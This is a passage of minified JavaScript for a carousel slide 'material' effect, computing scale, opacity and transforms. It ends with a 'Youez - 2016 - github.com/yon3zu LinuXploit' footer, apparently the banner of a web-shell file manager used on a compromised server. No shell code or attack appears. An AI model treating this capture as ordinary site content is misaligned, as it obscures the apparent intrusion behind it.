U=Math.ceil(s/2)-Math.abs(g);n=U,w=Math.pow(n,4),x=y+A*(1-U)*(1+2*M)}if(k&&g<-(s/2-1)&&g>=-s/2){var C=s/2-Math.abs(g);n=h-M+(c+2*M)*(s/2-Math.abs(g)),w=Math.pow((n-h)/(1-h),4),x=y+A*(c+M)*(1-C)}if(k&&g<-s/2){var S=s/2+1-Math.abs(g);n=0,S>=0&&(S=2*-M+S*(1+2*M),S=Math.max(Math.min(S,1),0),n=(c-M)*S),x=y+A*(c+M)*(2-S)+A*(c-M)*(1-S)}}else n=1+g,x=-v,w=Math.pow(n,4);if(1===s)g>0&&(n=1-g,x=-v+r*Math.min(g,1),w=Math.pow(n,4));else{if(g>0&&g<=s-2&&(x=y,n=1,w=1),k?g>s/2-1&&g<=s/2:g>s-2&&g<=s-1){var F=k?Math.floor(s/2):1;n=h-M+(c+2*M)*(s-F-Math.abs(g)),x=y,w=1===h?Math.pow(n,4):Math.pow((n-h)/(1-h),4)}if(b&&g>s-Math.ceil(s/2)){var T=Math.ceil(s/2)-(s-Math.abs(g));x=y-A*(2*M)*T,n=1-T,w=Math.pow(n,4)}if(g>s-1&&g<=s&&!l){var R=s-Math.abs(g),I=c-M;n=I+(h-M-I)*R,x=y-A*(c+M)*(1-R),0===c&&(w=Math.pow(n,4))}if(g>(l?s/2:s)&&!b){var G=(l?s/2+1:s+1)-Math.abs(g),P=0;n=0,G>=0&&(G=2*-M+G*(1+2*M),G=Math.max(Math.min(G,1),0),n=(c-M)*G,P=-G*(c+M)*A+G*a),x=-v+r*Math.min(g,1)+P,w=0}}n<0&&(n=0),n>1&&(n=1),0===n&&(n=1e-4),u.style.setProperty("--swiper-material-scale",n),p.forEach((function(t){t.style.opacity=w})),m.forEach((function(t){var e=parseFloat(t.getAttribute("data-swiper-material-scale"));(Number.isNaN(e)||!e&&0!==e)&&(e=1),t.style.transform="scale(".concat(1+(e-1)*(1-n),")")})),i.isHorizontal()?(f.style.width="".concat(100*n,"%"),f.style.transform="translate3d(".concat(x-E,"px, 0, 0)")):(f.style.height="".concat(100*n,"%"),f.style.transform="translate3d(0, ".concat(x-E,"px, 0)"))},d=0;d<t.length;d+=1)u()}()})),n("setTransition",(function(e,n){"material"===i.params.effect&&function(e){for(var n=i.slides,r=[],s=0;s<n.length;s+=1){var a=n[s],o=a.querySelector(".swiper-material-wrapper"),l=a.querySelectorAll(".swiper-material-animate-opacity"),h=a.querySelectorAll("[data-swiper-material-scale]");[o].concat(_toConsumableArray(h),_toConsumableArray(l)).forEach((function(t){t.style.transitionDuration="".concat(e,"ms")})),r.push(o)}t({swiper:i,duration:e,transformElements:r,allSlides:!0})}(n)})),n("slidesUpdated",(function(){if(!i.params.centeredSlides&&i.params.slidesPerView>1&&!i.params.loop&&i.params.materialEffect.slideSplitRatio<1){var t=i.snapGrid[i.snapGrid.length-1];i.snapGrid.push(t+i.slidesSizesGrid[0]+i.params.spaceBetween)}i.__preventObserver__=!0,i.el.style.setProperty("--swiper-material-slide-size","".concat(i.slidesSizesGrid[0],"px")),requestAnimationFrame((function(){i.__preventObserver__=!1}))}))}}));

Youez - 2016 - github.com/yon3zu
LinuXploit